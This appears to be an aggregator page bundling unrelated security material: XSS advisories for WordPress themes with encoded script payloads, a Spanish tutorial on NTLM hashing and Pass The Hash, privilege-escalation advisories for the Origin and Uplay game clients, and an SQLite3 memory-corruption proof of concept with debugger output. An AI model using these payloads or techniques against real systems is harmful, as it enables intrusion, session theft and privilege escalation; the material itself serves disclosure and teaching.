Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287002

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/49873/info

The Cover WP theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Cover WP theme 1.6.6 are vulnerable. 

http://www.example.com/?s=[XSS] 
            
source: https://www.securityfocus.com/bid/49874/info

The Web Minimalist theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Web Minimalist theme 1.4 are vulnerable. 

 http://www.example.com/wp/index.php/[XSS] 
            
source: https://www.securityfocus.com/bid/49875/info

The Pixiv Custom theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/?cpage=[xss] 
            
source: https://www.securityfocus.com/bid/49878/info

The Morning Coffee theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Morning Coffee theme prior to 3.6 are vulnerable. 

http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t 
            

NTLM (NT Lan Manager) consiste en una serie de protocolos de autenticación utilizados en los entornos Windows. Estos protocolos permiten que un usuario demuestre su identidad a un servidor. Es en esta autenticación donde nosotros como atacantes, podemos aprovecharnos para, entre otras cosas, hacer Pass The Hash.

Índice:

  • Terminología
  • ¿Qué es Pass The Hash?
  • Hash LM
  • NTLM (Aka. Hash NT)
  • Autenticación Net-NTLMv2
    • Negotiation Request/Response
    • Session Setup Request (Message Type 1)
    • Session Setup Response (Message Type 2)
    • Session Setup Request (Message Type 3)
    • Session Setup Response
  • Autenticación NTLM en un Directorio Activo
  • Punto de vista del Pentesting
  • Referencias

Terminología

Antes de empezar a explicar cosas, vamos a dejar clara la terminología, ya que puede llegar a ser muy confusa:

  • NTLM = Hash NT (también puede incluir el hash LM). Es el hash almacenado en la SAM (Security Account Manager) o en el archivo NTDS si estamos en un controlador de dominio.
  • NTLMv2 = Hash Net-NTLMv2 = Respuesta del cliente al challenge del servidor (Versión 2 de Net-NTLM) = Autenticación de desafío/respuesta = Autenticación NTLM

Sí, son un poco liosos estos de Microsoft 😥😢.

¿Qué es Pass The Hash?

Una de las características más únicas del pentesting a Windows es Pass The Hash. Esta técnica para quien no la conozca, consiste en que básicamente si conoces el hash NTLM (Aka. hash NT) de un usuario, y ese usuario tiene los suficientes privilegios en el sistema. Puedes tanto ejecutar comandos como obtener una shell en el equipo Windows, solo conociendo su hash, ejemplo:

image 70

Nota: el hash LM no hace falta, de hecho, puedes probar a usar psexec solo con el hash NT precedido por dos puntos (:) y comprobarás que sigue funcionando.

Además, realmente este hash LM es el hash LM de una contraseña nula, esto ocurre porque se deshabilitó este tipo de hashes desde Windows Vista y Windows Server 2008. Si usas CrackMapExec con el parámetro --sam para dumpear la SAM, verás como los LM hashes de todos los usuarios serán el mismo.

Pass The Hash cuando se ve por primera vez puede resultar extraño e incluso mágico. Pero una vez se conoce el proceso de autenticación NTLM, veremos el fallo de este protocolo y por qué permite esta técnica.

Antes de ir al proceso de autenticación, vamos a ver como se crean los dos tipos de hashes usados en almacenamiento de contraseñas en Windows, el hash NT y el hash LM.

Hash LM

El hash LM (Lan Manager) fue la forma por defecto en la que se almacenaban las contraseñas en Windows hasta el Windows XP y Windows Server 2003. Y está deshabilitado desde Windows Vista y Windows Server 2008 (aunque se puede seguir activando a día de hoy por temas de compatibilidad con sistemas antiguos).

LM era un algoritmo de hash bastante inseguro, y para saber por qué, vamos a ver el proceso de generación del hash:

Paso 1. Supongamos que la contraseña de mi usuario es «password123». Pues el primer paso del proceso es pasarlo todo a mayúsculas, es decir, pasar de «password123» a «PASSWORD123«.

  • En caso de que la contraseña sea menor a 14 caracteres, se rellena con caracteres nulos (OJO, se representan con ceros, pero no hay que confundirlos como tal, os dejo por aquí un post que recomiendo) hasta llegar a esta longitud, es decir, que, por lo tanto, nuestra contraseña se convertiría en: «PASSWORD123000«.
    • Aquí te puedes preguntar, bueno, y ¿qué pasa si mi contraseña tiene 15 caracteres o más? Pues que no es una contraseña válida, el límite del algoritmo LM son contraseñas con longitud de hasta 14 caracteres.

Paso 2. El resultado del primer paso, ahora se divide en dos cadenas de 7 bytes cada una:

  • 1ª Cadena: «PASSWOR«
  • 2ª Cadena: «D123000«

Paso 3. Estas dos cadenas se van a usar para generar dos claves DES (Data Encryption Standard). Una clave DES está formada por 64 bits (8 bytes). Sin embargo, siendo cada cadena de 7 bytes, cada una hará un total de 56 bits. Por lo que para completar la clave DES y llegar a 64 bits, tenemos que añadir un bit de paridad por cada 7 bits (Explicación del Bit de Paridad y Explicación del Bit de Paridad en el cifrado DES).

Entonces, cada cadena la pasamos a binario y le añadimos un bit de paridad por cada 7 bits. Ahora mismo te ha podido explotar la cabeza, pero en la siguiente imagen verás mucho más claro el proceso:

image 16

Esto resulta en dos claves DES de 64 bits cada una, una correspondiente a la cadena «PASSWOR» y otra a la cadena «D123000«:

image 17

Aquí te puedes preguntar por qué, siendo un bit de paridad, hemos colocado solo ceros y no hemos evaluado si serían un 1, o un 0. Esto es porque aunque sí que es cierto que es un bit de paridad. Ocurren dos cosas:

  1. Al final dependerá si la implementación de DES tendrá en cuenta la paridad o no.
  2. El bit de paridad en este caso no afectará al proceso de cifrado, lo que conlleva lo mencionado en el punto 1, esta implementación no la tendrá en cuenta, por lo que se pone todo en cero. De hecho, puedes hacer la prueba calculando el hash LM manualmente cambiando en cada caso los bits de paridad, poniéndolo todo en cero y luego poniéndolo todo en uno, ya verás que no habrá diferencia en el resultado final.

Paso 4. Estas dos claves DES que hemos generado, las vamos a usar (cada una por separado) para encriptar el siguiente string en modo ECB:

  • KGS!@#$%

Para ello, podemos usar esta calculadora online.

image 18

Tenemos que rellenar dos campos, el campo «Key» y el «Input Data«. En este caso, la calculadora espera ambos datos en hexadecimal, por lo que tenemos que pasarlo a ese formato.

  • Procedimiento para la cadena «PASSWOR«:

De las dos claves que hemos calculado previamente, usaremos la clave correspondiente a esta cadena. Por lo que la pasamos a hexadecimal:

image 19

De la misma forma, el string a encriptar se trata de KGS!@#$% por lo que lo pasamos también a hexadecimal:

image 20

Con esto hecho, usamos la calculadora:

image 21

Obtenemos que:

PASSWOR = E52CAC67419A9A22

Ahora procedemos con la segunda cadena.

  • Procedimiento para la cadena «D123000«:

Pasamos la segunda clave que generamos anteriormente a hexadecimal:

image 22

Y ahora volvemos a la calculadora, ya que el string a encriptar ya lo pasamos a hexadecimal antes, solo tenemos que cambiar el valor del campo «Key«:

image 23

Obtenemos que:

D123000 = 664345140A852F61

Por lo que, para obtener el hash LM, concatenamos el resultado de la primera cadena con el resultado de la segunda:

password123 = E52CAC67419A9A22664345140A852F61

Podemos comprobar que lo hemos hecho bien usando alguna web que crackee el hash LM:

image 24

Viendo como se crea un hash LM podemos ver sus desventajas y por qué se quedó en desuso. Por ejemplo, un mismo hash puede pertenecer a muchas contraseñas:

  • password123
  • PaSSwoRD123
  • PassworD123
  • PASSword123

Porque en el primer paso, todas se convierten en «PASSWORD123«. Por esa misma razón, en la imagen de arriba donde vemos que nos ha crackeado el hash, nos sale «PASSWORD123» y no «password123«, ya que es imposible saber exactamente la contraseña inicial.

Además, en caso de que se quisiese crackear, se podría dividir en dos, de esta forma solo habría que hacerle fuerza bruta a una cadena de 7 caracteres para averiguar una parte de la contraseña.

NTLM (Aka. NT Hash)

El hash NT (Aka. NTLM) es el algoritmo actualmente usado para almacenar las contraseñas en sistemas Windows, es la forma en la que se almacenan en la SAM. No hay que confundir este hash con el hash de autenticación de desafío/respuesta Net-NTLM que veremos más adelante.

Este hash es el hash que obtenemos cuando dumpeamos con mimikatz, de la misma forma, es el hash que necesitamos para hacer Pass The Hash.

Su generación es distinta y más sencilla que la de su predecesor:

Paso 1. La contraseña se pasa a Unicode (UTF-16LE).

Paso 2. Se usa el algoritmo MD4.

La operación completa para generar un hash NTLM sería: MD4(UTF-16LE(<contraseña>))

Ejemplo en python:

image 25

Comprobación con servicio online de generación de hash NTLM:

image 26

Como podemos comprobar, la generación de este hash es mucho más sencilla que la del hash LM.

Autenticación Net-NTLMv2

El hash Net-NTLMv2 es el hash que se genera en cada autenticación cliente/servidor, por lo que no es un hash que se almacene, sino que dependerá de cada comunicación.

Ya hemos visto como se forman los hashes LM y NT, por lo que ahora vamos a ver como funciona una autenticación a través de la red, y como es a través de este proceso del cual nos aprovechamos para hacer Pass The Hash.

Cuando se realiza una autenticación a Windows a través de la red, el proceso que se sigue es el siguiente:

Autenticacion NTLM

A nivel de paquetes, se ve de esta forma:

image 27

Vamos a ir poco a poco, explicando cada paso para entender el proceso completo.

Para tener el control de la autenticación y no generar ruido innecesario en la red, vamos a usar un script en python.

Por último, para tenerlo claro:

  • Cliente: 192.168.118.10
  • Servidor: 192.168.118.128
Negotiation Request/Response

Primero de todo, iniciamos la negociación con el servidor SMB a través de las siguientes líneas de código:

#!/usr/bin/python3

from impacket.smbconnection import SMBConnection

myconnection = SMBConnection("sikumy","192.168.118.128")

Esto corresponde a:

Negotiation Request Response 1

Y genera los paquetes:

image 28

Si nos fijamos, el cliente intenta iniciar una negociación usando el protocolo SMB, sin embargo, el servidor le responde con SMB2, para que negocie de nuevo usando este protocolo, por eso, encontramos 4 paquetes de Negociación cuando solo debería de haber dos:

  • 1º Par de paquetes: Intento de negociación con SMB
  • 2º Par de paquetes: Negociación con SMB2

Esta re-negociación ocurre porque por defecto, siempre se va a intentar utilizar la versión SMB más alta que soporte el cliente y el servidor.

Session Setup Request (Message Type 1)

Una vez se ha negociado los detalles de la autenticación, el cliente procede a autenticarse. Para iniciar el proceso, lo haremos añadiendo una nueva línea de código:

#!/usr/bin/python3

from impacket.smbconnection import SMBConnection

myconnection = SMBConnection("sikumy","192.168.118.128")

myconnection.login("sikumy", "sikumy123$!")

Esta nueva línea iniciará todos los pasos restantes, volviendo al diagrama, iniciará los pasos 3, 4, 5, 6 en su respectivo orden:

Session Setup

Empezando por el primer «Session Setup Andx Request», este paquete contiene:

  • La firma «NTLMSSP» (NTLMSSP identifier).
  • Flags de negociación (indica opciones soportadas por el cliente, requiere la aceptación por parte del servidor).
  • NTLM Message Type, el cual en este paquete es 1.
    • El Message Type es básicamente una forma de identificar el paquete, puede ser 1, 2 o 3:
      • Message Type 1: Paquete que contiene la lista de opciones soportadas por el cliente.
      • Message Type 2: Además de contener la lista de opciones aceptadas por el servidor, contiene el «challenge«, también conocido como «nonce«.
      • Message Type 3: Paquete que contiene información del cliente (incluyendo dominio y usuario). También contiene la respuesta al «challenge».
image 31

En la imagen podemos observar el contenido mencionado arriba.

Session Setup Response (Message Type 2)

A la petición enviada arriba, le sigue la respuesta por parte del servidor:

image 30

El servidor responde con:

  • La firma «NTLMSSP» (NTLMSSP identifier) de nuevo.
  • NTLM Message Type, en este caso, podemos ver como es 2.
  • Nombre del servidor e información sobre él, gracias a la flag «NTLMSSP_NEGOTIATE_TARGET_INFO» que habíamos enviado en la petición.
  • El challenge (16 bytes) (es una cadena aleatoria).
Session Setup Request (Message Type 3)

Ahora que tenemos el challenge, debemos demostrar que tenemos la contraseña del usuario, es decir, tenemos que demostrar que nuestras credenciales son válidas. Eso si, no tenemos que enviar ni la contraseña, ni el hash de la misma, a través de la red.

¿Cómo lo demostramos entonces?

Básicamente, la idea ahora es generar el hash NT de la contraseña que hemos introducido (sea o no correcta, ya que aún no han sido validadas por el servidor). Este hash NT generado es usado para encriptar el «challenge» que hemos recibido en la última respuesta.

El método de encriptado del challenge varía dependiendo de la versión NTLM (Aka. Net-NTLM) que se esté usando y los ajustes propios del servidor. En el caso de NTLMv2, la respuesta tendría la siguiente forma:

<usuario>::<dominio>:<challenge>:<challenge encriptado>:BLOB

Ejemplo de hash NTLMv2 (Aka. Net-NTLMv2):

image 60

Aquí hay que explicar a que nos referimos con «BLOB» y como generamos el «challenge encriptado». Para ello, vamos a ver el algoritmo NTLMv2:

  1. El cliente calcula el hash NT de la contraseña que ha introducido el usuario. Esto resulta en una cadena de 16 bytes.
  2. Ahora, la versión unicode del nombre del usuario en mayúsculas y la versión unicode del nombre del dominio (también puede ser el nombre del servidor) en mayúsculas se concatenan para formar el «target string» (TS).
  3. Con esto hecho, se usará el «target string» y el hash NT en el algoritmo HMAC-MD5, usando como «Key» el hash NT para obtener un hash NTLMv2 de 16 bytes.
  4. Ahora se crea, lo que se conoce como «BLOB», es básicamente un bloque compuesto por:
    • 4 bytes –> firma BLOB (0x01010000)
    • 4 bytes –> reservado (0x00000000)
    • 8 bytes –> marca de tiempo (64 bits que representa el número de décimas de microsegundo desde el 1 de enero de 1601 hasta la fecha actual)
    • 8 bytes –> aleatorio
    • 4 bytes –> Debe de ser 0x00000000.
    • Variable, formado por 2 bytes:
      • Nombre de Dominio NetBIOS (4 bits) –> 0x0002
      • Nombre del servidor NetBIOS (4 bits) –> 0x0001
      • Nombre DNS del Dominio (4 bits) –> 0x0004
      • Nombre DNS del Servidor (4 bits) –> 0x0003
      • Ver documentación oficial de la variable.
    • 4 bytes –> relleno (bytes random)
  5. Ahora, se concatena el «challenge» y el bloque «BLOB», esto, se le pasa al algoritmo HMAC-MD5. Se usará como «Key» el hash NTLMv2 que generamos en el paso 3. Esto generará un hash NTLMv2 que será la primera parte de la respuesta, es decir, lo siguiente:
image 61

El resto del hash Net-NTLMv2 corresponde al propio BLOB:

image 62

Documentación Oficial de NTLMv2.

Por lo que en conclusión, la respuesta por parte del cliente a la petición donde el servidor nos envía el challenge es:

NTLMv2 = HMAC-MD5((challenge + blob), NTLMv2 como Key)

Respuesta = NTLMv2 + BLOB
image 65

Que corresponde con:

image 66

Podemos ver como es el mismo valor, únicamente la respuesta NTLMv2 no tiene los dos puntos que separan el NTLMv2 y el BLOB en la segunda imagen.

Session Setup Response

Una vez el servidor recibe la respuesta anterior, hace el mismo proceso, pero con el hash que ya tiene almacenado del propio usuario. Cuando lo calcula, compara la salida que ha generado con la salida que nosotros (el cliente) le hemos enviado. Si los hashes NT con los que se han hecho todo el proceso, son distintos, darán un output totalmente distinto, lo que significará que el usuario puso una contraseña errónea, de lo contrario, serán iguales y la autenticación será válida.

En la respuesta, podemos comprobar si la autenticación ha tenido éxito o no:

image 67

Si las credenciales fueran inválidas obtendríamos esta respuesta:

image 68

Te puedes preguntar, como calcula el servidor su propia respuesta NTLMv2. Ya que, algunos parámetros usados para generar esta respuesta siempre son dinámicos, como por ejemplo, la marca de tiempo (timestamp).

Por lo que si yo genero una respuesta NTLMv2 y luego el servidor genera otra para verificar si son iguales, es imposible que lo sean.

¿Qué ocurre entonces?

La solución es sencilla, la respuesta NTLMv2 que nosotros como cliente enviamos, contiene el BLOB en texto plano, por lo que el servidor coge los parámetros de este BLOB y los usa para generar su propia respuesta. De esta forma, la única variable posible y de lo que todo dependerá será del hash NT.

  • Se usan hashes NT iguales = Autenticación válida
  • Se usan distintos = Autenticación inválida

En conclusión, como podemos comprobar, la contraseña en texto claro no se ha usado en ningún momento de la autenticación salvo para generar su hash NT. Por lo que teniendo el hash NT es exactamente lo mismo que si tuviésemos la contraseña en texto claro (a nivel práctico), por eso, Pass The Hash existe y funciona.

Autenticación NTLM en un Directorio Activo

Si estamos en un directorio activo, cambia un poco la autenticación, ya que si estamos intentando autenticarnos en un equipo, corresponde al Domain Controller (DC), validar las credenciales.

Por lo que el proceso de autenticación sería el siguiente:

NTLM Active Directory

En la petición RPC NetLogon, el servidor enviará al Controlador de Dominio el:

  • Usuario
  • Challenge
  • Respuesta al Challenge (Challenge encriptado)

El controlador de dominio verificará si la autenticación es válida usando el hash NT almacenado en el archivo NTDS.

Lo que determine el controlador de dominio será enviado en la respuesta RPC NetLogon al servidor, y posteriormente a nosotros.

Punto de vista del Pentesting

Hemos visto mucha teoría en este post. Teoría que es interesante saber para conocer realmente que ocurre detrás de las técnicas que empleamos. Para acabar, un mini recordatorio sobre para qué nos puede servir cada hash de cara al pentesting:

  • Hash NT –> Podemos usarlo tanto para realizar Pass The Hash como para intentar crackearlo.
  • Hash Net-NTLM –> Podemos intentar crackearlo, pero no lo podemos usar para Pass The Hash.
    • Este tipo de autenticación se puede usar para realizar ataques como el SMB Relay.

Referencias

  • Windows authentication attacks – part 1
  • Understanding NTLM Authentication Step by Step
  • The NTLM Authentication Protocol and Security Support Provider
  • What is the difference between NULL, ‘\0’ and 0?
  • Bit de paridad: para qué sirve, cómo funciona
  • How should I create my DES key? Why is an 7-character string not enough?
  • NTLM Terminology
  • Mechanics of User Identification and Authentication – Fundamentals of Identity Management
  • NTLM v2: NTLMv2_CLIENT_CHALLENGE
  • AV_PAIR
  • NTLM/LM Hashes on Domain Controller
  • Disabling NTLM v1 On Windows Computer
  • Practical guide to NTLM Relaying in 2017
  • Microsoft NTLM

source: https://www.securityfocus.com/bid/49879/info

The Black-LetterHead theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Black-LetterHead theme 1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1& 
            
Electronic Arts Origin Client 9.5.5 Multiple Privilege Escalation Vulnerabilities

Vendor: Electronic Arts Inc.
Product web page: https://www.origin.com
Affected version: 9.5.5.2850 (353317)
                  9.5.3.636 (350385)
                  9.5.2.2829 (348065)

Summary: Origin (formerly EA Download Manager (EADM)) is digital distribution
software from Electronic Arts that allows users to purchase games on the internet
for PC and mobile platforms, and download them with the Origin client (formerly
EA Download Manager, EA Downloader and EA Link).

Desc#1: The application is vulnerable to an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file with a
binary of choice. The vulnerability exist due to the improper permissions,
with the 'F' flag (full) for the 'Everyone' and 'Users' group, for the
'OriginClientService.exe' binary file, and for all the files in the 'Origin'
directory. The service is installed by default to start on system boot with
LocalSystem privileges. Attackers can replace the binary with their rootkit,
and on reboot they get SYSTEM privileges.

Desc#2: Origin client service also suffers from an unquoted search path issue
impacting the 'Origin Client Service' service for Windows deployed as part of
the Origin Thin Setup bundle. This could potentially allow an authorized but
non-privileged local user to execute arbitrary code with elevated privileges
on the system. A successful attempt would require the local user to be able to
insert their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application startup
or reboot. If successful, the local user’s code would execute with the elevated
privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5231
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5231.php


14.12.2014



**************************************************************************
C:\>sc qc "Origin Client Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Origin Client Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Origin\OriginClientService.exe  <-----< Unquoted path
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Origin Client Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Program Files (x86)\Origin\OriginClientService.exe"
c:\Program Files (x86)\Origin\OriginClientService.exe Everyone:(ID)F                <-----< Full control
                                                      BUILTIN\Users:(ID)F           <-----< Full control
                                                      NT AUTHORITY\SYSTEM:(ID)F
                                                      BUILTIN\Administrators:(ID)F


C:\>
**************************************************************************

**************************************************************************
C:\>cscript XCACLS.vbs "C:\Program Files (x86)\Origin\*.exe"
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Starting XCACLS.VBS (Version: 5.2) Script at 15.12.2014 19:46:41

Startup directory:
"C:\"

Arguments Used:
        Filename = "C:\Program Files (x86)\Origin\*.exe"



**************************************************************************
File: C:\Program Files (x86)\Origin\EAProxyInstaller.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\igoproxy64.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\Origin.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\OriginClientService.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\OriginCrashReporter.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\OriginER.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************

**************************************************************************
File: C:\Program Files (x86)\Origin\OriginUninstall.exe

Permissions:
Type     Username                Permissions           Inheritance

Allowed  \Everyone               Full Control          This Folder Only
Allowed  BUILTIN\Users           Full Control          This Folder Only
Allowed  NT AUTHORITY\SYSTEM     Full Control          This Folder Only
Allowed  BUILTIN\Administrators  Full Control          This Folder Only

No Auditing set

Owner: BUILTIN\Administrators
**************************************************************************


Operation Complete
Elapsed Time: 0,1796875 seconds.

Ending Script at 15.12.2014 19:46:41



C:\>
**************************************************************************

--

**************************************************************************
Changed permissions and service binary path name (vendor fix):
--------------------------------------------------------------

C:\>sc qc "Origin Client Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Origin Client Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\Origin\OriginClientService.exe"   <-----< Quoted path
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Origin Client Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls "C:\Program Files (x86)\Origin\OriginClientService.exe"
C:\Program Files (x86)\Origin\OriginClientService.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                      BUILTIN\Administrators:(I)(F)
                                                      BUILTIN\Users:(I)(RX)            <-----< Read and execute

Successfully processed 1 files; Failed processing 0 files

C:\>
**************************************************************************
            

Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation


Vendor: Ubisoft Entertainment S.A.
Product web page: http://www.ubi.com
Affected version: 5.0.0.3914 (PC)

Summary: Uplay is a digital distribution, digital rights management,
multiplayer and communications service created by Ubisoft to provide
an experience similar to the achievements/trophies offered by various
other game companies.

 - Uplay PC is a desktop client which replaces individual game launchers
 previously used for Ubisoft games. With Uplay PC, you have all your Uplay
 enabled games and Uplay services in the same place and you get access to
 a whole new set of features for your PC games.

Desc: Uplay for PC suffers from an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper
permissions, with the 'F' flag (Full) for 'Users' group, making the
entire directory 'Ubisoft Game Launcher' and its files and sub-dirs
world-writable.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5230
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5230.php

Vendor: http://forums.ubi.com/forumdisplay.php/513-Uplay


19.02.2015

--
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>cacls Uplay.exe
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\Uplay.exe BUILTIN\Users:(ID)F
                                                               NT AUTHORITY\SYSTEM:(ID)F
                                                               BUILTIN\Administrators:(ID)F
                                                               test-PC\yousir:(ID)F


C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>
            
# Exploit Title: SQLite3 controlled memory corruption PoC (0day)
# Date: [date]
# Exploit Author: Andras Kabai
# Vendor Homepage: http://www.sqlite.org/
# Software Link: http://www.sqlite.org/download.html
# Version: 3.8.6, 3.8.8.3
# Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code)

Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker.

The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source.

====

andrew@ubufuzzx6401:~/issues/sqlite$ which sqlite3
/usr/bin/sqlite3
andrew@ubufuzzx6401:~/issues/sqlite$ /usr/bin/sqlite3 -version
3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19e
andrew@ubufuzzx6401:~/issues/sqlite$ gdb64 /usr/bin/sqlite3
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set args < sqlitepoc.txt
(gdb) r
Starting program: /usr/bin/sqlite3 < sqlitepoc.txt
warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Usage: .trace FILE|off
Error: near line 4: near "whatever": syntax error
Usage: .trace FILE|off

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
(gdb) i r
rax            0x138	312
rbx            0x41414141424242	18367622009733698
rcx            0x7fffffffb590	140737488336272
rdx            0x0	0
rsi            0x555555779b43	93824994483011
rdi            0x41414141424242	18367622009733698
rbp            0x555555779b43	0x555555779b43
rsp            0x7fffffffb4c0	0x7fffffffb4c0
r8             0x555555779b41	93824994483009
r9             0x6c	108
r10            0x0	0
r11            0x0	0
r12            0x555555779b48	93824994483016
r13            0x7fffffffb590	140737488336272
r14            0x555555779b40	93824994483008
r15            0x2	2
rip            0x7ffff7ba06a0	0x7ffff7ba06a0 <sqlite3_load_extension+736>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) disas $rip,+10
Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa:
=> 0x00007ffff7ba06a0 <sqlite3_load_extension+736>:	call   QWORD PTR [rbx+0x48]
   0x00007ffff7ba06a3 <sqlite3_load_extension+739>:	mov    r15,rax
   0x00007ffff7ba06a6 <sqlite3_load_extension+742>:	lea    rax,[rip+0x12bc1]        # 0x7ffff7bb326e
End of assembler dump.

===

